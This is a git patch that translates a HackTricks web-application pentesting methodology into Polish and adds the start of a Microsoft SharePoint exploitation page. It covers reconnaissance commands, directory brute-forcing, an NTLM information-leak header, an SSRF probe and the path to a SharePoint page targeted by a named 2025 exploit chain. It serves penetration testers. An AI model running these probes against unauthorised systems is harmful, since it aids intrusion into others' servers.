From 71c12e222ce0e9442746db79eb1e698d90b2b9dc Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 14:15:38 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/README.md', --- src/SUMMARY.md | 1 + .../pentesting-web/README.md | 109 +++++++-------- .../pentesting-web/microsoft-sharepoint.md | 126 ++++++++++++++++++ 3 files changed, 182 insertions(+), 54 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 09ba11160..088f962ff 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -423,6 +423,7 @@ - [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [JSP](network-services-pentesting/pentesting-web/jsp.md) - [Laravel](network-services-pentesting/pentesting-web/laravel.md) + - [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md) - [Moodle](network-services-pentesting/pentesting-web/moodle.md) - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 6c1cbf648..26007d8dc 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -23,9 +23,9 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## Methodology summary +## Podsumowanie metodologii -> W tej metodologii zakładamy, że zamierzasz zaatakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie. +> W tej metodologii zakładamy, że będziesz atakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie. - [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer webowy. Szukaj **sztuczek**, które warto mieć na uwadze podczas reszty testu, jeśli uda ci się pomyślnie zidentyfikować technologię. - [ ] Czy istnieje jakakolwiek **znana luka** w wersji technologii? @@ -36,17 +36,17 @@ web-api-pentesting.md - [ ] Zacznij **spiderować** stronę internetową: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**. - [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on spiderowany._ - [ ] **Brute-Forcing katalogów**: Spróbuj przeprowadzić brute force na wszystkich odkrytych folderach w poszukiwaniu nowych **plików** i **katalogów**. -- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on Brute-Forced._ +- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on poddany brute force._ - [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy możesz znaleźć **kopie zapasowe** **odkrytych plików**, dodając powszechne rozszerzenia kopii zapasowych. -- [ ] **Brute-Force parametry**: Spróbuj **znaleźć ukryte parametry**. -- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **dane wejściowe użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym. +- [ ] **Brute-Force parametrów**: Spróbuj **znaleźć ukryte parametry**. +- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym. - [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +## Wersja serwera (Vulnerable?) -### Identify +### Identyfikacja -Sprawdź, czy istnieją **znane luki** dla wersji serwera **działającej**.\ +Sprawdź, czy istnieją **znane luki** dla wersji serwera, która działa.\ **Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** **technologii** i/lub **wersji** używanej. **Skanowanie Nmap** może zidentyfikować wersję serwera, ale mogą być również przydatne narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)lub [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy @@ -78,6 +78,7 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**: - [**GraphQL**](graphql.md) - [**H2 - Java SQL database**](h2-java-sql-database.md) - [**IIS tricks**](iis-internet-information-services.md) +- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jira**](jira.md) @@ -98,19 +99,19 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**: - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html) -_Pamiętaj, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\ +_Pamiętaj, że **ta sama domena** może używać **różnych technologii** w różnych **portach**, **folderach** i **subdomenach**._\ Jeśli aplikacja webowa korzysta z jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **poszukać w Internecie** nowych sztuczek (i daj mi znać!). ### Przegląd kodu źródłowego -Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia **własnego testu White box** aplikacji, istnieje **kilka informacji**, które mogą być **przydatne** dla aktualnego **testowania Black-Box**: +Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia **własnego testu White box** aplikacji, istnieje **kilka informacji**, które mogą być **przydatne** dla obecnego **testowania Black-Box**: - Czy istnieje plik **Change-log lub Readme lub Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez sieć? - Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)? - Czy **hasła** są w **czystym tekście**, **szyfrowane** czy jaki **algorytm haszujący** jest używany? - Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany? - Czy możesz **uzyskać dostęp do któregokolwiek z tych plików**, wykorzystując jakąś lukę? -- Czy są jakieś **interesujące informacje na githubie** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)? +- Czy w **github** są jakieś **interesujące informacje** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)? {{#ref}} code-review-tools.md @@ -145,9 +146,9 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli podano jakiekolwiek dane) oraz kilka wskazówek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner. +> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli podano jakiekolwiek dane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner. -## Odkrywanie aplikacji webowej krok po kroku +## Krok po kroku Odkrywanie Aplikacji Webowej > Od tego momentu zaczniemy interakcję z aplikacją webową. @@ -166,7 +167,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do nich dziwne dane. Może to otworzyć **luki** lub **ujawnienie wrażliwych informacji**. -- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.etc) +- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.itd) - **Dodaj "\[]", "]]" i "\[\["** w **wartościach cookie** i **wartościach parametrów**, aby stworzyć błędy - Generuj błąd, podając dane jako **`/~randomthing/%s`** na **końcu** **URL** - Spróbuj **różnych metod HTTP** jak PATCH, DEBUG lub błędnych jak FAKE @@ -212,35 +213,35 @@ Uruchom jakiś rodzaj **spidera** w sieci. Celem spidera jest **znalezienie jak - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwościami renderowania JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwościami beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i w osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów red, ninja infosec. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Pythonie 2.7 używający Tornado i JSBeautifier do analizy względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w pythonie 2.7 używający Tornado i JSBeautifier do parsowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dany plik (HTML) wyodrębni z niego adresy URL, używając sprytnych wyrażeń regularnych do znajdowania i wyodrębniania względnych adresów URL z brzydkich (minifikowanych) plików. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbieraj interesujące informacje z plików JS, używając kilku narzędzi. -- [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Załaduj stronę w bezgłowym przeglądarku i wydrukuj wszystkie załadowane adresy URL. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS, używając kilku narzędzi. +- [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w bezgłowym przeglądarku i wypisuje wszystkie załadowane adresy URL. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści, łączące kilka opcji poprzednich narzędzi. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu URL .js.map pobierze zbeatyfikowany kod JS. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, uzyska zbeatyfikowany kod JS. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): To narzędzie służy do odkrywania punktów końcowych dla danego celu. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regularnych. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z maszyny wayback (również pobierając odpowiedzi w wayback i szukając więcej linków). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuje (nawet wypełniając formularze) i również znajduje wrażliwe informacje, używając specyficznych wyrażeń regularnych. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów w dziedzinie cyberbezpieczeństwa. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **rozszerzenie Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu stworzenia niestandardowej listy słów do fuzzingu i enumeracji. - [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda się znaleźć. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link, który jest w stanie znaleźć. -### Brute Force directories and files +### Brute Force katalogów i plików -Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić brute-forcing **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\ +Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkie katalogi **odkryte** przez **Spidering** (możesz to robić **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\ Narzędzia: -- **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i przeszukiwanie rekursywne. Zbyt wolne w porównaniu do innych opcji. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** umożliwia przeszukiwanie rekursywne. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Umożliwia auto-podpisane certyfikaty, **nie ma** **przeszukiwania** rekursywnego. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera przeszukiwanie rekursywne.** +- **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu do innych opcji. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** umożliwia wyszukiwanie rekurencyjne. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Umożliwia auto-podpisane certyfikaty, **nie ma** **wyszukiwania** **rekurencyjnego**. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera wyszukiwanie rekurencyjne.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które po podaniu listy znalezionych adresów URL usunie "zduplikowane" adresy URL. +- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które, podając listę znalezionych adresów URL, usunie "zduplikowane" adresy URL. - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Rozszerzenie Burp do tworzenia listy katalogów z historii burp różnych stron. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa adresy URL z zduplikowanymi funkcjonalnościami (na podstawie importów js). - [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania używanych technologii i wybierania list słów do użycia. @@ -248,7 +249,7 @@ Narzędzia: **Zalecane słowniki:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dirsearch** wbudowany słownik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [Assetnote wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -264,43 +265,43 @@ Narzędzia: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +_Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._ -### What to check on each file found +### Co sprawdzić w każdym znalezionym pliku - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki w HTML, które mogą być podatne na przejęcia. - **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa kopii zapasowej to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym. -- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +- **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukiwać** ukryte parametry w każdym wykonywalnym pliku webowym. +- _Arjun wszystkie domyślne listy słów:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Komentarze:** Sprawdź komentarze wszystkich plików, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**. -- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej. -- **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). +- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, gdy otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej. +- **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Klucze API Google: Jeśli znajdziesz jakikolwiek klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do jakich API klucz ma dostęp. -- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomena** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** **uprawnienia** bucketu](buckets/index.html). +- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomen** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/index.html). -### Special findings +### Specjalne znaleziska -**Podczas** wykonywania **spideringu** i **brute-forcing** możesz znaleźć **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**. +**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz znaleźć **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**. **Interesujące pliki** - Szukaj **linków** do innych plików w **plikach CSS**. - [Jeśli znajdziesz plik _**.git**_, można wyodrębnić pewne informacje](git.md). -- Jeśli znajdziesz _**.env**_, można znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje. -- Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają" jak one. +- Jeśli znajdziesz _**.env**_, można znaleźć takie informacje jak klucze API, hasła do baz danych i inne informacje. +- Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają jak" one. - **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębnić ścieżki z plików JS. Również, warto **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.** - Powinieneś również sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne. -- **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). -- **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). -- **Deobfuscacja JsFuck** (javascript z znakami:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). +- **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) +- **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) +- **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane. To będzie przydatne: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex). - Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność. -**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** +**403 Forbidden/Basic Authentication/401 Unauthorized (obejście)** {{#ref}} 403-and-401-bypasses.md @@ -308,19 +309,19 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri **502 Proxy Error** -Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz SSRF**. +Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz** SSRF. -**NTLM Authentication - Info disclosure** +**NTLM Authentication - ujawnienie informacji** -Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz spowodować **ujawnienie informacji**.\ -**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ +Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz wywołać **ujawnienie informacji**.\ +**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ Możesz **zautomatyzować** to, używając **pluginu nmap** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym miejscu. +Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w środku. -### Web Vulnerabilities Checking +### Sprawdzanie luk w aplikacjach webowych Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych luk. Możesz znaleźć listę kontrolną tutaj: @@ -328,17 +329,17 @@ Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas spraw ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Więcej informacji o lukach webowych znajdziesz w: +Więcej informacji o lukach webowych znajdziesz na: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### Monitor Pages for changes +### Monitorowanie stron pod kątem zmian Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), aby monitorować strony pod kątem modyfikacji, które mogą wprowadzać luki. -### HackTricks Automatic Commands +### HackTricks Automatyczne Komendy ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md new file mode 100644 index 000000000..77afd150d --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -0,0 +1,126 @@ +# Microsoft SharePoint – Pentesting & Exploitation + +{{#include ../../banners/hacktricks-training.md}} + +> Microsoft SharePoint (lokalnie) jest zbudowany na ASP.NET/IIS. Większość klasycznego ataku na powierzchnię webową (ViewState, Web.Config, web shells, itp.) jest zatem obecna, ale SharePoint dostarcza również setki własnych stron ASPX i usług webowych, które znacznie powiększają wystawioną powierzchnię ataku. Ta strona zbiera praktyczne triki do enumeracji, eksploatacji i utrzymywania się w środowiskach SharePoint z naciskiem na łańcuch eksploatacji 2025 ujawniony przez Unit42 (CVE-2025-49704/49706/53770/53771). + +## 1. Quick enumeration +``` +# favicon hash and keywords +curl -s https:///_layouts/15/images/SharePointHome.png +curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI + +# version leakage (often in JS) +curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" + +# interesting standard paths +/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain +/_vti_bin/Lists.asmx # legacy SOAP service +/_catalogs/masterpage/Forms/AllItems.aspx + +# enumerate sites & site-collections (requires at least Anonymous) 